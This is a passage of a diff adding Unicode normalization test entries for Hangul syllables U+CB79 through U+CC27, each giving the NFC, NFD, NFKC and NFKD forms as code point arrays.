+{ source: [0xCB79], NFC: [0xCB79], NFD: [0x110D, 0x116F, 0x11BC], NFKC: [0xCB79], NFKD: [0x110D, 0x116F, 0x11BC] },
+{ source: [0xCB7A], NFC: [0xCB7A], NFD: [0x110D, 0x116F, 0x11BD], NFKC: [0xCB7A], NFKD: [0x110D, 0x116F, 0x11BD] },
+{ source: [0xCB7B], NFC: [0xCB7B], NFD: [0x110D, 0x116F, 0x11BE], NFKC: [0xCB7B], NFKD: [0x110D, 0x116F, 0x11BE] },
+{ source: [0xCB7C], NFC: [0xCB7C], NFD: [0x110D, 0x116F, 0x11BF], NFKC: [0xCB7C], NFKD: [0x110D, 0x116F, 0x11BF] },
+{ source: [0xCB7D], NFC: [0xCB7D], NFD: [0x110D, 0x116F, 0x11C0], NFKC: [0xCB7D], NFKD: [0x110D, 0x116F, 0x11C0] },
+{ source: [0xCB7E], NFC: [0xCB7E], NFD: [0x110D, 0x116F, 0x11C1], NFKC: [0xCB7E], NFKD: [0x110D, 0x116F, 0x11C1] },
+{ source: [0xCB7F], NFC: [0xCB7F], NFD: [0x110D, 0x116F, 0x11C2], NFKC: [0xCB7F], NFKD: [0x110D, 0x116F, 0x11C2] },
+{ source: [0xCB80], NFC: [0xCB80], NFD: [0x110D, 0x1170], NFKC: [0xCB80], NFKD: [0x110D, 0x1170] },
+{ source: [0xCB81], NFC: [0xCB81], NFD: [0x110D, 0x1170, 0x11A8], NFKC: [0xCB81], NFKD: [0x110D, 0x1170, 0x11A8] },
+{ source: [0xCB82], NFC: [0xCB82], NFD: [0x110D, 0x1170, 0x11A9], NFKC: [0xCB82], NFKD: [0x110D, 0x1170, 0x11A9] },
+{ source: [0xCB83], NFC: [0xCB83], NFD: [0x110D, 0x1170, 0x11AA], NFKC: [0xCB83], NFKD: [0x110D, 0x1170, 0x11AA] },
+{ source: [0xCB84], NFC: [0xCB84], NFD: [0x110D, 0x1170, 0x11AB], NFKC: [0xCB84], NFKD: [0x110D, 0x1170, 0x11AB] },
+{ source: [0xCB85], NFC: [0xCB85], NFD: [0x110D, 0x1170, 0x11AC], NFKC: [0xCB85], NFKD: [0x110D, 0x1170, 0x11AC] },
+{ source: [0xCB86], NFC: [0xCB86], NFD: [0x110D, 0x1170, 0x11AD], NFKC: [0xCB86], NFKD: [0x110D, 0x1170, 0x11AD] },
+{ source: [0xCB87], NFC: [0xCB87], NFD: [0x110D, 0x1170, 0x11AE], NFKC: [0xCB87], NFKD: [0x110D, 0x1170, 0x11AE] },
+{ source: [0xCB88], NFC: [0xCB88], NFD: [0x110D, 0x1170, 0x11AF], NFKC: [0xCB88], NFKD: [0x110D, 0x1170, 0x11AF] },
+{ source: [0xCB89], NFC: [0xCB89], NFD: [0x110D, 0x1170, 0x11B0], NFKC: [0xCB89], NFKD: [0x110D, 0x1170, 0x11B0] },
+{ source: [0xCB8A], NFC: [0xCB8A], NFD: [0x110D, 0x1170, 0x11B1], NFKC: [0xCB8A], NFKD: [0x110D, 0x1170, 0x11B1] },
+{ source: [0xCB8B], NFC: [0xCB8B], NFD: [0x110D, 0x1170, 0x11B2], NFKC: [0xCB8B], NFKD: [0x110D, 0x1170, 0x11B2] },
+{ source: [0xCB8C], NFC: [0xCB8C], NFD: [0x110D, 0x1170, 0x11B3], NFKC: [0xCB8C], NFKD: [0x110D, 0x1170, 0x11B3] },
+{ source: [0xCB8D], NFC: [0xCB8D], NFD: [0x110D, 0x1170, 0x11B4], NFKC: [0xCB8D], NFKD: [0x110D, 0x1170, 0x11B4] },
+{ source: [0xCB8E], NFC: [0xCB8E], NFD: [0x110D, 0x1170, 0x11B5], NFKC: [0xCB8E], NFKD: [0x110D, 0x1170, 0x11B5] },
+{ source: [0xCB8F], NFC: [0xCB8F], NFD: [0x110D, 0x1170, 0x11B6], NFKC: [0xCB8F], NFKD: [0x110D, 0x1170, 0x11B6] },
+{ source: [0xCB90], NFC: [0xCB90], NFD: [0x110D, 0x1170, 0x11B7], NFKC: [0xCB90], NFKD: [0x110D, 0x1170, 0x11B7] },
+{ source: [0xCB91], NFC: [0xCB91], NFD: [0x110D, 0x1170, 0x11B8], NFKC: [0xCB91], NFKD: [0x110D, 0x1170, 0x11B8] },
+{ source: [0xCB92], NFC: [0xCB92], NFD: [0x110D, 0x1170, 0x11B9], NFKC: [0xCB92], NFKD: [0x110D, 0x1170, 0x11B9] },
+{ source: [0xCB93], NFC: [0xCB93], NFD: [0x110D, 0x1170, 0x11BA], NFKC: [0xCB93], NFKD: [0x110D, 0x1170, 0x11BA] },
+{ source: [0xCB94], NFC: [0xCB94], NFD: [0x110D, 0x1170, 0x11BB], NFKC: [0xCB94], NFKD: [0x110D, 0x1170, 0x11BB] },
+{ source: [0xCB95], NFC: [0xCB95], NFD: [0x110D, 0x1170, 0x11BC], NFKC: [0xCB95], NFKD: [0x110D, 0x1170, 0x11BC] },
+{ source: [0xCB96], NFC: [0xCB96], NFD: [0x110D, 0x1170, 0x11BD], NFKC: [0xCB96], NFKD: [0x110D, 0x1170, 0x11BD] },
+{ source: [0xCB97], NFC: [0xCB97], NFD: [0x110D, 0x1170, 0x11BE], NFKC: [0xCB97], NFKD: [0x110D, 0x1170, 0x11BE] },
+{ source: [0xCB98], NFC: [0xCB98], NFD: [0x110D, 0x1170, 0x11BF], NFKC: [0xCB98], NFKD: [0x110D, 0x1170, 0x11BF] },
+{ source: [0xCB99], NFC: [0xCB99], NFD: [0x110D, 0x1170, 0x11C0], NFKC: [0xCB99], NFKD: [0x110D, 0x1170, 0x11C0] },
+{ source: [0xCB9A], NFC: [0xCB9A], NFD: [0x110D, 0x1170, 0x11C1], NFKC: [0xCB9A], NFKD: [0x110D, 0x1170, 0x11C1] },
+{ source: [0xCB9B], NFC: [0xCB9B], NFD: [0x110D, 0x1170, 0x11C2], NFKC: [0xCB9B], NFKD: [0x110D, 0x1170, 0x11C2] },
+{ source: [0xCB9C], NFC: [0xCB9C], NFD: [0x110D, 0x1171], NFKC: [0xCB9C], NFKD: [0x110D, 0x1171] },
+{ source: [0xCB9D], NFC: [0xCB9D], NFD: [0x110D, 0x1171, 0x11A8], NFKC: [0xCB9D], NFKD: [0x110D, 0x1171, 0x11A8] },
+{ source: [0xCB9E], NFC: [0xCB9E], NFD: [0x110D, 0x1171, 0x11A9], NFKC: [0xCB9E], NFKD: [0x110D, 0x1171, 0x11A9] },
+{ source: [0xCB9F], NFC: [0xCB9F], NFD: [0x110D, 0x1171, 0x11AA], NFKC: [0xCB9F], NFKD: [0x110D, 0x1171, 0x11AA] },
+{ source: [0xCBA0], NFC: [0xCBA0], NFD: [0x110D, 0x1171, 0x11AB], NFKC: [0xCBA0], NFKD: [0x110D, 0x1171, 0x11AB] },
+{ source: [0xCBA1], NFC: [0xCBA1], NFD: [0x110D, 0x1171, 0x11AC], NFKC: [0xCBA1], NFKD: [0x110D, 0x1171, 0x11AC] },
+{ source: [0xCBA2], NFC: [0xCBA2], NFD: [0x110D, 0x1171, 0x11AD], NFKC: [0xCBA2], NFKD: [0x110D, 0x1171, 0x11AD] },
+{ source: [0xCBA3], NFC: [0xCBA3], NFD: [0x110D, 0x1171, 0x11AE], NFKC: [0xCBA3], NFKD: [0x110D, 0x1171, 0x11AE] },
+{ source: [0xCBA4], NFC: [0xCBA4], NFD: [0x110D, 0x1171, 0x11AF], NFKC: [0xCBA4], NFKD: [0x110D, 0x1171, 0x11AF] },
+{ source: [0xCBA5], NFC: [0xCBA5], NFD: [0x110D, 0x1171, 0x11B0], NFKC: [0xCBA5], NFKD: [0x110D, 0x1171, 0x11B0] },
+{ source: [0xCBA6], NFC: [0xCBA6], NFD: [0x110D, 0x1171, 0x11B1], NFKC: [0xCBA6], NFKD: [0x110D, 0x1171, 0x11B1] },
+{ source: [0xCBA7], NFC: [0xCBA7], NFD: [0x110D, 0x1171, 0x11B2], NFKC: [0xCBA7], NFKD: [0x110D, 0x1171, 0x11B2] },
+{ source: [0xCBA8], NFC: [0xCBA8], NFD: [0x110D, 0x1171, 0x11B3], NFKC: [0xCBA8], NFKD: [0x110D, 0x1171, 0x11B3] },
+{ source: [0xCBA9], NFC: [0xCBA9], NFD: [0x110D, 0x1171, 0x11B4], NFKC: [0xCBA9], NFKD: [0x110D, 0x1171, 0x11B4] },
+{ source: [0xCBAA], NFC: [0xCBAA], NFD: [0x110D, 0x1171, 0x11B5], NFKC: [0xCBAA], NFKD: [0x110D, 0x1171, 0x11B5] },
+{ source: [0xCBAB], NFC: [0xCBAB], NFD: [0x110D, 0x1171, 0x11B6], NFKC: [0xCBAB], NFKD: [0x110D, 0x1171, 0x11B6] },
+{ source: [0xCBAC], NFC: [0xCBAC], NFD: [0x110D, 0x1171, 0x11B7], NFKC: [0xCBAC], NFKD: [0x110D, 0x1171, 0x11B7] },
+{ source: [0xCBAD], NFC: [0xCBAD], NFD: [0x110D, 0x1171, 0x11B8], NFKC: [0xCBAD], NFKD: [0x110D, 0x1171, 0x11B8] },
+{ source: [0xCBAE], NFC: [0xCBAE], NFD: [0x110D, 0x1171, 0x11B9], NFKC: [0xCBAE], NFKD: [0x110D, 0x1171, 0x11B9] },
+{ source: [0xCBAF], NFC: [0xCBAF], NFD: [0x110D, 0x1171, 0x11BA], NFKC: [0xCBAF], NFKD: [0x110D, 0x1171, 0x11BA] },
+{ source: [0xCBB0], NFC: [0xCBB0], NFD: [0x110D, 0x1171, 0x11BB], NFKC: [0xCBB0], NFKD: [0x110D, 0x1171, 0x11BB] },
+{ source: [0xCBB1], NFC: [0xCBB1], NFD: [0x110D, 0x1171, 0x11BC], NFKC: [0xCBB1], NFKD: [0x110D, 0x1171, 0x11BC] },
+{ source: [0xCBB2], NFC: [0xCBB2], NFD: [0x110D, 0x1171, 0x11BD], NFKC: [0xCBB2], NFKD: [0x110D, 0x1171, 0x11BD] },
+{ source: [0xCBB3], NFC: [0xCBB3], NFD: [0x110D, 0x1171, 0x11BE], NFKC: [0xCBB3], NFKD: [0x110D, 0x1171, 0x11BE] },
+{ source: [0xCBB4], NFC: [0xCBB4], NFD: [0x110D, 0x1171, 0x11BF], NFKC: [0xCBB4], NFKD: [0x110D, 0x1171, 0x11BF] },
+{ source: [0xCBB5], NFC: [0xCBB5], NFD: [0x110D, 0x1171, 0x11C0], NFKC: [0xCBB5], NFKD: [0x110D, 0x1171, 0x11C0] },
+{ source: [0xCBB6], NFC: [0xCBB6], NFD: [0x110D, 0x1171, 0x11C1], NFKC: [0xCBB6], NFKD: [0x110D, 0x1171, 0x11C1] },
+{ source: [0xCBB7], NFC: [0xCBB7], NFD: [0x110D, 0x1171, 0x11C2], NFKC: [0xCBB7], NFKD: [0x110D, 0x1171, 0x11C2] },
+{ source: [0xCBB8], NFC: [0xCBB8], NFD: [0x110D, 0x1172], NFKC: [0xCBB8], NFKD: [0x110D, 0x1172] },
+{ source: [0xCBB9], NFC: [0xCBB9], NFD: [0x110D, 0x1172, 0x11A8], NFKC: [0xCBB9], NFKD: [0x110D, 0x1172, 0x11A8] },
+{ source: [0xCBBA], NFC: [0xCBBA], NFD: [0x110D, 0x1172, 0x11A9], NFKC: [0xCBBA], NFKD: [0x110D, 0x1172, 0x11A9] },
+{ source: [0xCBBB], NFC: [0xCBBB], NFD: [0x110D, 0x1172, 0x11AA], NFKC: [0xCBBB], NFKD: [0x110D, 0x1172, 0x11AA] },
+{ source: [0xCBBC], NFC: [0xCBBC], NFD: [0x110D, 0x1172, 0x11AB], NFKC: [0xCBBC], NFKD: [0x110D, 0x1172, 0x11AB] },
+{ source: [0xCBBD], NFC: [0xCBBD], NFD: [0x110D, 0x1172, 0x11AC], NFKC: [0xCBBD], NFKD: [0x110D, 0x1172, 0x11AC] },
+{ source: [0xCBBE], NFC: [0xCBBE], NFD: [0x110D, 0x1172, 0x11AD], NFKC: [0xCBBE], NFKD: [0x110D, 0x1172, 0x11AD] },
+{ source: [0xCBBF], NFC: [0xCBBF], NFD: [0x110D, 0x1172, 0x11AE], NFKC: [0xCBBF], NFKD: [0x110D, 0x1172, 0x11AE] },
+{ source: [0xCBC0], NFC: [0xCBC0], NFD: [0x110D, 0x1172, 0x11AF], NFKC: [0xCBC0], NFKD: [0x110D, 0x1172, 0x11AF] },
+{ source: [0xCBC1], NFC: [0xCBC1], NFD: [0x110D, 0x1172, 0x11B0], NFKC: [0xCBC1], NFKD: [0x110D, 0x1172, 0x11B0] },
+{ source: [0xCBC2], NFC: [0xCBC2], NFD: [0x110D, 0x1172, 0x11B1], NFKC: [0xCBC2], NFKD: [0x110D, 0x1172, 0x11B1] },
+{ source: [0xCBC3], NFC: [0xCBC3], NFD: [0x110D, 0x1172, 0x11B2], NFKC: [0xCBC3], NFKD: [0x110D, 0x1172, 0x11B2] },
+{ source: [0xCBC4], NFC: [0xCBC4], NFD: [0x110D, 0x1172, 0x11B3], NFKC: [0xCBC4], NFKD: [0x110D, 0x1172, 0x11B3] },
+{ source: [0xCBC5], NFC: [0xCBC5], NFD: [0x110D, 0x1172, 0x11B4], NFKC: [0xCBC5], NFKD: [0x110D, 0x1172, 0x11B4] },
+{ source: [0xCBC6], NFC: [0xCBC6], NFD: [0x110D, 0x1172, 0x11B5], NFKC: [0xCBC6], NFKD: [0x110D, 0x1172, 0x11B5] },
+{ source: [0xCBC7], NFC: [0xCBC7], NFD: [0x110D, 0x1172, 0x11B6], NFKC: [0xCBC7], NFKD: [0x110D, 0x1172, 0x11B6] },
+{ source: [0xCBC8], NFC: [0xCBC8], NFD: [0x110D, 0x1172, 0x11B7], NFKC: [0xCBC8], NFKD: [0x110D, 0x1172, 0x11B7] },
+{ source: [0xCBC9], NFC: [0xCBC9], NFD: [0x110D, 0x1172, 0x11B8], NFKC: [0xCBC9], NFKD: [0x110D, 0x1172, 0x11B8] },
+{ source: [0xCBCA], NFC: [0xCBCA], NFD: [0x110D, 0x1172, 0x11B9], NFKC: [0xCBCA], NFKD: [0x110D, 0x1172, 0x11B9] },
+{ source: [0xCBCB], NFC: [0xCBCB], NFD: [0x110D, 0x1172, 0x11BA], NFKC: [0xCBCB], NFKD: [0x110D, 0x1172, 0x11BA] },
+{ source: [0xCBCC], NFC: [0xCBCC], NFD: [0x110D, 0x1172, 0x11BB], NFKC: [0xCBCC], NFKD: [0x110D, 0x1172, 0x11BB] },
+{ source: [0xCBCD], NFC: [0xCBCD], NFD: [0x110D, 0x1172, 0x11BC], NFKC: [0xCBCD], NFKD: [0x110D, 0x1172, 0x11BC] },
+{ source: [0xCBCE], NFC: [0xCBCE], NFD: [0x110D, 0x1172, 0x11BD], NFKC: [0xCBCE], NFKD: [0x110D, 0x1172, 0x11BD] },
+{ source: [0xCBCF], NFC: [0xCBCF], NFD: [0x110D, 0x1172, 0x11BE], NFKC: [0xCBCF], NFKD: [0x110D, 0x1172, 0x11BE] },
+{ source: [0xCBD0], NFC: [0xCBD0], NFD: [0x110D, 0x1172, 0x11BF], NFKC: [0xCBD0], NFKD: [0x110D, 0x1172, 0x11BF] },
+{ source: [0xCBD1], NFC: [0xCBD1], NFD: [0x110D, 0x1172, 0x11C0], NFKC: [0xCBD1], NFKD: [0x110D, 0x1172, 0x11C0] },
+{ source: [0xCBD2], NFC: [0xCBD2], NFD: [0x110D, 0x1172, 0x11C1], NFKC: [0xCBD2], NFKD: [0x110D, 0x1172, 0x11C1] },
+{ source: [0xCBD3], NFC: [0xCBD3], NFD: [0x110D, 0x1172, 0x11C2], NFKC: [0xCBD3], NFKD: [0x110D, 0x1172, 0x11C2] },
+{ source: [0xCBD4], NFC: [0xCBD4], NFD: [0x110D, 0x1173], NFKC: [0xCBD4], NFKD: [0x110D, 0x1173] },
+{ source: [0xCBD5], NFC: [0xCBD5], NFD: [0x110D, 0x1173, 0x11A8], NFKC: [0xCBD5], NFKD: [0x110D, 0x1173, 0x11A8] },
+{ source: [0xCBD6], NFC: [0xCBD6], NFD: [0x110D, 0x1173, 0x11A9], NFKC: [0xCBD6], NFKD: [0x110D, 0x1173, 0x11A9] },
+{ source: [0xCBD7], NFC: [0xCBD7], NFD: [0x110D, 0x1173, 0x11AA], NFKC: [0xCBD7], NFKD: [0x110D, 0x1173, 0x11AA] },
+{ source: [0xCBD8], NFC: [0xCBD8], NFD: [0x110D, 0x1173, 0x11AB], NFKC: [0xCBD8], NFKD: [0x110D, 0x1173, 0x11AB] },
+{ source: [0xCBD9], NFC: [0xCBD9], NFD: [0x110D, 0x1173, 0x11AC], NFKC: [0xCBD9], NFKD: [0x110D, 0x1173, 0x11AC] },
+{ source: [0xCBDA], NFC: [0xCBDA], NFD: [0x110D, 0x1173, 0x11AD], NFKC: [0xCBDA], NFKD: [0x110D, 0x1173, 0x11AD] },
+{ source: [0xCBDB], NFC: [0xCBDB], NFD: [0x110D, 0x1173, 0x11AE], NFKC: [0xCBDB], NFKD: [0x110D, 0x1173, 0x11AE] },
+{ source: [0xCBDC], NFC: [0xCBDC], NFD: [0x110D, 0x1173, 0x11AF], NFKC: [0xCBDC], NFKD: [0x110D, 0x1173, 0x11AF] },
+{ source: [0xCBDD], NFC: [0xCBDD], NFD: [0x110D, 0x1173, 0x11B0], NFKC: [0xCBDD], NFKD: [0x110D, 0x1173, 0x11B0] },
+{ source: [0xCBDE], NFC: [0xCBDE], NFD: [0x110D, 0x1173, 0x11B1], NFKC: [0xCBDE], NFKD: [0x110D, 0x1173, 0x11B1] },
+{ source: [0xCBDF], NFC: [0xCBDF], NFD: [0x110D, 0x1173, 0x11B2], NFKC: [0xCBDF], NFKD: [0x110D, 0x1173, 0x11B2] },
+{ source: [0xCBE0], NFC: [0xCBE0], NFD: [0x110D, 0x1173, 0x11B3], NFKC: [0xCBE0], NFKD: [0x110D, 0x1173, 0x11B3] },
+{ source: [0xCBE1], NFC: [0xCBE1], NFD: [0x110D, 0x1173, 0x11B4], NFKC: [0xCBE1], NFKD: [0x110D, 0x1173, 0x11B4] },
+{ source: [0xCBE2], NFC: [0xCBE2], NFD: [0x110D, 0x1173, 0x11B5], NFKC: [0xCBE2], NFKD: [0x110D, 0x1173, 0x11B5] },
+{ source: [0xCBE3], NFC: [0xCBE3], NFD: [0x110D, 0x1173, 0x11B6], NFKC: [0xCBE3], NFKD: [0x110D, 0x1173, 0x11B6] },
+{ source: [0xCBE4], NFC: [0xCBE4], NFD: [0x110D, 0x1173, 0x11B7], NFKC: [0xCBE4], NFKD: [0x110D, 0x1173, 0x11B7] },
+{ source: [0xCBE5], NFC: [0xCBE5], NFD: [0x110D, 0x1173, 0x11B8], NFKC: [0xCBE5], NFKD: [0x110D, 0x1173, 0x11B8] },
+{ source: [0xCBE6], NFC: [0xCBE6], NFD: [0x110D, 0x1173, 0x11B9], NFKC: [0xCBE6], NFKD: [0x110D, 0x1173, 0x11B9] },
+{ source: [0xCBE7], NFC: [0xCBE7], NFD: [0x110D, 0x1173, 0x11BA], NFKC: [0xCBE7], NFKD: [0x110D, 0x1173, 0x11BA] },
+{ source: [0xCBE8], NFC: [0xCBE8], NFD: [0x110D, 0x1173, 0x11BB], NFKC: [0xCBE8], NFKD: [0x110D, 0x1173, 0x11BB] },
+{ source: [0xCBE9], NFC: [0xCBE9], NFD: [0x110D, 0x1173, 0x11BC], NFKC: [0xCBE9], NFKD: [0x110D, 0x1173, 0x11BC] },
+{ source: [0xCBEA], NFC: [0xCBEA], NFD: [0x110D, 0x1173, 0x11BD], NFKC: [0xCBEA], NFKD: [0x110D, 0x1173, 0x11BD] },
+{ source: [0xCBEB], NFC: [0xCBEB], NFD: [0x110D, 0x1173, 0x11BE], NFKC: [0xCBEB], NFKD: [0x110D, 0x1173, 0x11BE] },
+{ source: [0xCBEC], NFC: [0xCBEC], NFD: [0x110D, 0x1173, 0x11BF], NFKC: [0xCBEC], NFKD: [0x110D, 0x1173, 0x11BF] },
+{ source: [0xCBED], NFC: [0xCBED], NFD: [0x110D, 0x1173, 0x11C0], NFKC: [0xCBED], NFKD: [0x110D, 0x1173, 0x11C0] },
+{ source: [0xCBEE], NFC: [0xCBEE], NFD: [0x110D, 0x1173, 0x11C1], NFKC: [0xCBEE], NFKD: [0x110D, 0x1173, 0x11C1] },
+{ source: [0xCBEF], NFC: [0xCBEF], NFD: [0x110D, 0x1173, 0x11C2], NFKC: [0xCBEF], NFKD: [0x110D, 0x1173, 0x11C2] },
+{ source: [0xCBF0], NFC: [0xCBF0], NFD: [0x110D, 0x1174], NFKC: [0xCBF0], NFKD: [0x110D, 0x1174] },
+{ source: [0xCBF1], NFC: [0xCBF1], NFD: [0x110D, 0x1174, 0x11A8], NFKC: [0xCBF1], NFKD: [0x110D, 0x1174, 0x11A8] },
+{ source: [0xCBF2], NFC: [0xCBF2], NFD: [0x110D, 0x1174, 0x11A9], NFKC: [0xCBF2], NFKD: [0x110D, 0x1174, 0x11A9] },
+{ source: [0xCBF3], NFC: [0xCBF3], NFD: [0x110D, 0x1174, 0x11AA], NFKC: [0xCBF3], NFKD: [0x110D, 0x1174, 0x11AA] },
+{ source: [0xCBF4], NFC: [0xCBF4], NFD: [0x110D, 0x1174, 0x11AB], NFKC: [0xCBF4], NFKD: [0x110D, 0x1174, 0x11AB] },
+{ source: [0xCBF5], NFC: [0xCBF5], NFD: [0x110D, 0x1174, 0x11AC], NFKC: [0xCBF5], NFKD: [0x110D, 0x1174, 0x11AC] },
+{ source: [0xCBF6], NFC: [0xCBF6], NFD: [0x110D, 0x1174, 0x11AD], NFKC: [0xCBF6], NFKD: [0x110D, 0x1174, 0x11AD] },
+{ source: [0xCBF7], NFC: [0xCBF7], NFD: [0x110D, 0x1174, 0x11AE], NFKC: [0xCBF7], NFKD: [0x110D, 0x1174, 0x11AE] },
+{ source: [0xCBF8], NFC: [0xCBF8], NFD: [0x110D, 0x1174, 0x11AF], NFKC: [0xCBF8], NFKD: [0x110D, 0x1174, 0x11AF] },
+{ source: [0xCBF9], NFC: [0xCBF9], NFD: [0x110D, 0x1174, 0x11B0], NFKC: [0xCBF9], NFKD: [0x110D, 0x1174, 0x11B0] },
+{ source: [0xCBFA], NFC: [0xCBFA], NFD: [0x110D, 0x1174, 0x11B1], NFKC: [0xCBFA], NFKD: [0x110D, 0x1174, 0x11B1] },
+{ source: [0xCBFB], NFC: [0xCBFB], NFD: [0x110D, 0x1174, 0x11B2], NFKC: [0xCBFB], NFKD: [0x110D, 0x1174, 0x11B2] },
+{ source: [0xCBFC], NFC: [0xCBFC], NFD: [0x110D, 0x1174, 0x11B3], NFKC: [0xCBFC], NFKD: [0x110D, 0x1174, 0x11B3] },
+{ source: [0xCBFD], NFC: [0xCBFD], NFD: [0x110D, 0x1174, 0x11B4], NFKC: [0xCBFD], NFKD: [0x110D, 0x1174, 0x11B4] },
+{ source: [0xCBFE], NFC: [0xCBFE], NFD: [0x110D, 0x1174, 0x11B5], NFKC: [0xCBFE], NFKD: [0x110D, 0x1174, 0x11B5] },
+{ source: [0xCBFF], NFC: [0xCBFF], NFD: [0x110D, 0x1174, 0x11B6], NFKC: [0xCBFF], NFKD: [0x110D, 0x1174, 0x11B6] },
+{ source: [0xCC00], NFC: [0xCC00], NFD: [0x110D, 0x1174, 0x11B7], NFKC: [0xCC00], NFKD: [0x110D, 0x1174, 0x11B7] },
+{ source: [0xCC01], NFC: [0xCC01], NFD: [0x110D, 0x1174, 0x11B8], NFKC: [0xCC01], NFKD: [0x110D, 0x1174, 0x11B8] },
+{ source: [0xCC02], NFC: [0xCC02], NFD: [0x110D, 0x1174, 0x11B9], NFKC: [0xCC02], NFKD: [0x110D, 0x1174, 0x11B9] },
+{ source: [0xCC03], NFC: [0xCC03], NFD: [0x110D, 0x1174, 0x11BA], NFKC: [0xCC03], NFKD: [0x110D, 0x1174, 0x11BA] },
+{ source: [0xCC04], NFC: [0xCC04], NFD: [0x110D, 0x1174, 0x11BB], NFKC: [0xCC04], NFKD: [0x110D, 0x1174, 0x11BB] },
+{ source: [0xCC05], NFC: [0xCC05], NFD: [0x110D, 0x1174, 0x11BC], NFKC: [0xCC05], NFKD: [0x110D, 0x1174, 0x11BC] },
+{ source: [0xCC06], NFC: [0xCC06], NFD: [0x110D, 0x1174, 0x11BD], NFKC: [0xCC06], NFKD: [0x110D, 0x1174, 0x11BD] },
+{ source: [0xCC07], NFC: [0xCC07], NFD: [0x110D, 0x1174, 0x11BE], NFKC: [0xCC07], NFKD: [0x110D, 0x1174, 0x11BE] },
+{ source: [0xCC08], NFC: [0xCC08], NFD: [0x110D, 0x1174, 0x11BF], NFKC: [0xCC08], NFKD: [0x110D, 0x1174, 0x11BF] },
+{ source: [0xCC09], NFC: [0xCC09], NFD: [0x110D, 0x1174, 0x11C0], NFKC: [0xCC09], NFKD: [0x110D, 0x1174, 0x11C0] },
+{ source: [0xCC0A], NFC: [0xCC0A], NFD: [0x110D, 0x1174, 0x11C1], NFKC: [0xCC0A], NFKD: [0x110D, 0x1174, 0x11C1] },
+{ source: [0xCC0B], NFC: [0xCC0B], NFD: [0x110D, 0x1174, 0x11C2], NFKC: [0xCC0B], NFKD: [0x110D, 0x1174, 0x11C2] },
+{ source: [0xCC0C], NFC: [0xCC0C], NFD: [0x110D, 0x1175], NFKC: [0xCC0C], NFKD: [0x110D, 0x1175] },
+{ source: [0xCC0D], NFC: [0xCC0D], NFD: [0x110D, 0x1175, 0x11A8], NFKC: [0xCC0D], NFKD: [0x110D, 0x1175, 0x11A8] },
+{ source: [0xCC0E], NFC: [0xCC0E], NFD: [0x110D, 0x1175, 0x11A9], NFKC: [0xCC0E], NFKD: [0x110D, 0x1175, 0x11A9] },
+{ source: [0xCC0F], NFC: [0xCC0F], NFD: [0x110D, 0x1175, 0x11AA], NFKC: [0xCC0F], NFKD: [0x110D, 0x1175, 0x11AA] },
+{ source: [0xCC10], NFC: [0xCC10], NFD: [0x110D, 0x1175, 0x11AB], NFKC: [0xCC10], NFKD: [0x110D, 0x1175, 0x11AB] },
+{ source: [0xCC11], NFC: [0xCC11], NFD: [0x110D, 0x1175, 0x11AC], NFKC: [0xCC11], NFKD: [0x110D, 0x1175, 0x11AC] },
+{ source: [0xCC12], NFC: [0xCC12], NFD: [0x110D, 0x1175, 0x11AD], NFKC: [0xCC12], NFKD: [0x110D, 0x1175, 0x11AD] },
+{ source: [0xCC13], NFC: [0xCC13], NFD: [0x110D, 0x1175, 0x11AE], NFKC: [0xCC13], NFKD: [0x110D, 0x1175, 0x11AE] },
+{ source: [0xCC14], NFC: [0xCC14], NFD: [0x110D, 0x1175, 0x11AF], NFKC: [0xCC14], NFKD: [0x110D, 0x1175, 0x11AF] },
+{ source: [0xCC15], NFC: [0xCC15], NFD: [0x110D, 0x1175, 0x11B0], NFKC: [0xCC15], NFKD: [0x110D, 0x1175, 0x11B0] },
+{ source: [0xCC16], NFC: [0xCC16], NFD: [0x110D, 0x1175, 0x11B1], NFKC: [0xCC16], NFKD: [0x110D, 0x1175, 0x11B1] },
+{ source: [0xCC17], NFC: [0xCC17], NFD: [0x110D, 0x1175, 0x11B2], NFKC: [0xCC17], NFKD: [0x110D, 0x1175, 0x11B2] },
+{ source: [0xCC18], NFC: [0xCC18], NFD: [0x110D, 0x1175, 0x11B3], NFKC: [0xCC18], NFKD: [0x110D, 0x1175, 0x11B3] },
+{ source: [0xCC19], NFC: [0xCC19], NFD: [0x110D, 0x1175, 0x11B4], NFKC: [0xCC19], NFKD: [0x110D, 0x1175, 0x11B4] },
+{ source: [0xCC1A], NFC: [0xCC1A], NFD: [0x110D, 0x1175, 0x11B5], NFKC: [0xCC1A], NFKD: [0x110D, 0x1175, 0x11B5] },
+{ source: [0xCC1B], NFC: [0xCC1B], NFD: [0x110D, 0x1175, 0x11B6], NFKC: [0xCC1B], NFKD: [0x110D, 0x1175, 0x11B6] },
+{ source: [0xCC1C], NFC: [0xCC1C], NFD: [0x110D, 0x1175, 0x11B7], NFKC: [0xCC1C], NFKD: [0x110D, 0x1175, 0x11B7] },
+{ source: [0xCC1D], NFC: [0xCC1D], NFD: [0x110D, 0x1175, 0x11B8], NFKC: [0xCC1D], NFKD: [0x110D, 0x1175, 0x11B8] },
+{ source: [0xCC1E], NFC: [0xCC1E], NFD: [0x110D, 0x1175, 0x11B9], NFKC: [0xCC1E], NFKD: [0x110D, 0x1175, 0x11B9] },
+{ source: [0xCC1F], NFC: [0xCC1F], NFD: [0x110D, 0x1175, 0x11BA], NFKC: [0xCC1F], NFKD: [0x110D, 0x1175, 0x11BA] },
+{ source: [0xCC20], NFC: [0xCC20], NFD: [0x110D, 0x1175, 0x11BB], NFKC: [0xCC20], NFKD: [0x110D, 0x1175, 0x11BB] },
+{ source: [0xCC21], NFC: [0xCC21], NFD: [0x110D, 0x1175, 0x11BC], NFKC: [0xCC21], NFKD: [0x110D, 0x1175, 0x11BC] },
+{ source: [0xCC22], NFC: [0xCC22], NFD: [0x110D, 0x1175, 0x11BD], NFKC: [0xCC22], NFKD: [0x110D, 0x1175, 0x11BD] },
+{ source: [0xCC23], NFC: [0xCC23], NFD: [0x110D, 0x1175, 0x11BE], NFKC: [0xCC23], NFKD: [0x110D, 0x1175, 0x11BE] },
+{ source: [0xCC24], NFC: [0xCC24], NFD: [0x110D, 0x1175, 0x11BF], NFKC: [0xCC24], NFKD: [0x110D, 0x1175, 0x11BF] },
+{ source: [0xCC25], NFC: [0xCC25], NFD: [0x110D, 0x1175, 0x11C0], NFKC: [0xCC25], NFKD: [0x110D, 0x1175, 0x11C0] },
+{ source: [0xCC26], NFC: [0xCC26], NFD: [0x110D, 0x1175, 0x11C1], NFKC: [0xCC26], NFKD: [0x110D, 0x1175, 0x11C1] },
+{ source: [0xCC27], NFC: [0xCC27], NFD: [0x110D, 0x1175, 0x11C2], NFKC: [0xCC27], NFKD: [0x110D, 0x1175, 0x11C2] },
